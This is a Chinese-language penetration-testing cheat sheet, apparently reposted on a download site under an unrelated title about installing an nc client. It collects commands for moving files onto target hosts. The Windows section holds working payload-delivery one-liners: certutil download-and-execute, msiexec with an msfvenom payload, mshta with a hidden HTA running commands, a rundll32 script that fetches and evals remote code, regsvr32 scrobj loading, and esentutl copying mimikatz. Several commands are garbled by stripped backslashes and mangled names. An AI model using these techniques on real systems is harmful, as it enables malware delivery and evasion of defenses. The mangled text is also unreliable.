nc客户端安装(nc客户端启动不了)

太平洋在线下载手机版 1 0

原文:https://www.cnblogs.com/-mo-/p/12109717.html

1. 简介

在我们渗透测试的过程中,通常会需要向目标主机传送一些文件,来达到提权,维持控制等目的。因此当不方便进行直接传输时,同时目标主机是能有网络连接的,那么此时就可以通过本地下载这种方法来达到文件传输的目的。此篇文章,我会对互联网上针对 win 与 linux 大部分的下载指令来做一个汇总,可能会有疏漏,但汇总的都是经常会用的。

2. Linux

2.1 Wget

这款工具功能很丰富,可以充当某种功能完备的 GUI 下载管理器,它拥有一款理想的下载管理器所需要的所有功能,比如它可以恢复下载,可以下载多个文件,出现某个连接问题后,可以重新尝试下载,你甚至可以管理最大的下载带宽。

直接下载:

wget http://www.sample-videos.com/video/mp4/big.mp4

后台下载:

wget -b http://www.sample-videos.com/video/mp4/big.mp4

nc客户端安装(nc客户端启动不了)-第1张图片-太平洋在线下载

如果互联网连接出现中断,恢复下载:

wget -c http://www.sample-videos.com/video/mp4/big.mp4

从某个密码保护的 ftp 软件库下载文件:

wget --ftp-user=<user_name> --ftp-password=<Give_password> Download-url-address

2.2 Curl

Curl 是另一种高效的下载工具,它可以用来上传或下载文件,只要使用一个简单的命令。它支持暂停和恢复下载程序包,并支持数量最多的 Web 协议,可预测下载完成还剩余多少时间,可通过进度条来显示下载进度。它是所有 Linux 发行版的内置工具。

直接下载:

curl -o um.mp4 http://www.sample-videos.com/video/mp4/big.mp4

借助 - o 选项,提供名称,下载文件会以该名称保存;如使用 - O 选项,文件就会以原始名称保存。

2.3 Axel

这是 wget 的出色替代者,是一款轻量级下载实用工具。它实际上是个加速器,因为它打开了多路 http 连接,可下载独立文件片段,因而文件下载起来更快速。

apt-get install axel

直接下载:

axel http://www.sample-videos.com/video/mp4/big.mp4

2.4 Aria2

这是一种开源命令行下载加速器,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。

apt-get install aria2

直接下载:

aria2c http://www.sample-videos.com/video/mp4/big.mp4

nc客户端安装(nc客户端启动不了)-第2张图片-太平洋在线下载

2.5 Perl

Perl 是一门很吊的语言,使用它基本可以实现任何事情,用它实现文件下载也很简单。

#!perl

#!/usr/bin/perl

use LWP::Simple;

getstore( "http://domain/file", "file");

执行脚本文件是这样:

perl test.pl

2.6 Python

Python 也是很受欢迎的主流脚本语言,代码清晰且简洁:

#!python

#!/usr/bin/python

import urllib2

u = urllib2.urlopen( 'http://domain/file')

localFile = open( 'local_file', 'w')

localFile.write(u.read)

localFile.close

2.7 Ruby

Ruby 是一个面对对象的语言,Metasploit 框架就是用它来实现的,当然他也可以实现像下载文件这样的小任务。微信搜索公众号:前端技术编程,回复:前端 领取资料 。

#!ruby

#!/usr/bin/ruby

require 'net/http'

Net::HTTP.start( "www.domain.com") { |http|

r = http.get( "/file")

open( "save_location", "wb") { |file|

file.write(r.body)

}

}

执行脚本文件是这样;

ruby test.rb

2.8 PHP

PHP 作为一种服务端脚本,也可以实现下载文件这种功能。

#!/usr/bin/php

<?php

$data= @file( "http://example.com/file");

$lf= "local_file";

$fh= fopen( $lf, 'w');

fwrite( $fh, $data[0]);

fclose( $fh);

?>

执行脚本文件是这样:

php test.php

2.9 FTP

一般情况下攻击者使用 FTP 上传文件需要很多交互的步骤,下面这个 bash 脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。

ftp 127.0.0.1

username

password

get file

exit

当然根据实际情况也可以进入交互终端:

ftp 192.168.3.2

输入用户名和密码后

lcd E:file # 进入E盘下的file目录

cdwww # 进入服务器上的www目录

get access.log # 将服务器上的access.log下载到E:file

2.10 Netcat

攻击者的电脑上输入:

cat file | nc -l 1234

这个命令会将 file 的内容输出到本地的 1234 端口中,然后不论谁连接此端口,file 的内容将会发送到连接过来的 IP。

目标电脑上的命令:

nc host_ip 1234 > file

这条命令将连接攻击者的电脑,接受 file 内容保存。

3. Windows3.1 Powershell

PowerShell 是一种 winodws 原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。

下面这两条指令实现了从 Internet 网络下载一个文件。

$p= New-Object System.Net.WebClient

$p.DownloadFile( "http://domain/file""C:%homepath%file")

3.2 IPC$

copy 192.168.3.1c$test.exe E:file

cmd.exe /k < webdavserverfolderbatchfile.txt

3.3 Certutil

可以应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2

certutil -urlcache -split -f http://192.168.3.1/test.exe file.exe

certutil -urlcache -split -f http://192.168.3.1/test.exe delete #删除缓存

certutil -verifyctl -split -f -split http://192.168.3.1/test.exe

#此条命令,会将原文件下载成为临时 bin 文件,把名字改回来一样可以正常运行

文件下载并执行如下:

certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete

3.4 Visual Basic

在 1998 年 Visual Basic 最终标准在 windows 上确定。下面的代码可以实现下载文件,虽然它的长度比 Powershell 长多了。微信搜索公众号:架构师指南,回复:架构师 领取资料 。

Set args = W.Arguments

Url = "http://domain/file"

dim xHttp: Set xHttp = createobject( "Microsoft.XMLHTTP")

dim bStrm: Set bStrm = createobject( "Adodb.Stream")

xHttp.Open "GET", Url, False

xHttp.Send

with bStrm

. type= 1 '

.open

.write xHttp.responseBody

.savetofile " C:%homepath%file", 2 '

end with

在 windows 中 C 指令可以允许你执行 VBS 脚本文件或者对 脚本做一些设置。在 windows 7 中这个指令并不是必须要用到。但是在 windows XP 中需要使用这条指令,如下所示:

c test.vbs

3.5 Tftp

在 Windows Vista 以及以后的版本中默认有 FTP,可以使用以下命令运行:

上传:

tftp -i IP地址 PUT C:%homepath%file 远程存放位置

下载:

tftp -i IP地址 GET C:%homepath%file 本地存放位置

3.6 Bitsadmin

Bitsadmin 是 Windows 命令行工具,用户可以使用它来创建下载或上传的任务。只能命令下载到指定路径上,win7 以上:

bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1""E:phpstudy_proWWWb.ps1"

bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:filetest.txt

bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:filetest.txt

3.7 msiexec

msiexec /q /i http://192.168.3.1/calc.png

calc.png:

msfvenom -f msi -p windows/ execCMD=calc.exe > cacl.png

3.8 IEExec

C:WindowsMicrosoft.NETFrameworkv2.0.50727> caspol -s off

C:WindowsMicrosoft.NETFrameworkv2.0.50727> IEExec http://192.168.3.1/test.exe

3.9 Python

C:python27python.exe -c “import urllib2; execurllib2.urlopen(‘http://192.168.3.1/test.zip’). read;”

3.10 Mshta

mshta http://192.168.3.1/run.hta

run.hta 内容如下:

<HTML>

<meta http-equiv= "Content-Type"content= "text/html; charset=utf-8">

<HEAD>

< language= "VB">

Window.ReSizeTo 0, 0

Window.moveTo -2000,-2000

Set objShell = CreateObject( "W.Shell")

objShell.Run "cmd.exe /c net user"// 这里填写命令

self.close

</>

<body>

demo

</body>

</HEAD>

</HTML>

mshta vb:Close(Execute( "GetObject("":http://webserver/payload.sct"")"))

3.11 Rundll32

依赖于 W.shell 这个组件:

rundll32.exe java: "..mshtml,RunHTMLApplication ";document.write;h=new%20ActiveXObject( "WinHttp.WinHttpRequest.5.1");h.Open( "GET", "http://127.0.0.1:8081/connect", false);try{h.Send;b=h.ResponseText; eval(b);}catch(e){new%20ActiveXObject( "W.Shell").Run( "cmd /c taskkill /f /im rundll32.exe",0, true);}%

3.12 Regsvr32

Regsvr32 命令用于注册 COM 组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。

WinXP 及以上系统的 regsvr32.exe 在 windowssystem32 文件夹下;2000 系统的 regsvr32.exe 在 winntsystem32 文件夹下。

regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll

test.data 内容:

还可以利用

https://github.com/CroweCybersecurity/ps1encode 生成 sct 文件:

regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll

3.13 Windows Share

Windows shares 可以加载一个驱动器,然后用命令来复制文件。

加载远程驱动:

net use x: 127.0.0.1share /user:example.comuserID myPassword

3.14 格式转换

当需要把一个 exe 文件放到目标计算机上时,Nishang 可以使用 PowerShell 允许你把一个 exe 转换成 hex,然后把 hex 再转换成原来的 exe 文件:

把 exe 转成 hex 文件输入:

PS > .ExetoText.ps1 evil.exe evil.txt

打开 evil.txt 文件,复制内容,然后通过 RDP 的剪贴板复制进目标计算机,把 hex 文件还原成 exe 文件输入:

PS > .TexttoExe.ps1 evil.text evil.exe

3.15 其它

1.MSXSL.EXE

msxsl.exe 是微软用于命令行下处理 XSL 的一个程序,所以通过他,我们可以执行 Java 进而执行系统命令。

2.pubprn.vbs

在 Windows 7 以上版本存在一个名为 PubPrn.vbs 的微软已签名 WSH 脚本,其位于

C:WindowsSystem32Printing_Admin_sen-US

3.esentutl.exe/extrac32.exe

esentutl.exe /y "172.16.249.149share mimikatz_trunk.zip"/d "C:UsersPublicmimikatz_trunk.zip"/0

extrac32.exe /Y /C 172.16.249.149sharetest.txt C:UsersPublictest.txt

4.desktopimgdownldr.exe

desktopimgdownldr.exe 位于 Win10 的 system32 文件夹中,原本用于设置锁定屏幕或桌面背景图像的。

普通用户可以用:

set"SYSTEMROOT=C:ProgramData"&& cmd /c desktopimgdownldr.exe /lockscreenurl:http://url/xxx.exe /eventName:desktopimgdownldr

这样来下载文件。

可以把 C:ProgramData 来改成一个普通用户可写的目录。

下载的文件存放于:

C:ProgramDataPersonalizationLockScreenImagex_%random%.exe.

管理员用户会多写一个注册表项,所以管理员最好的命令是:

set"SYSTEMROOT=C:ProgramData" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://url/file.exe /eventName:desktopimgdownldr && reg delete HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPersonalizationCSP /f

END

官方站点:www.linuxprobe.com

Linux命令大全:www.linuxcool.com

(新群,火热加群中……)

标签: nc客户端安装

抱歉,评论功能暂时关闭!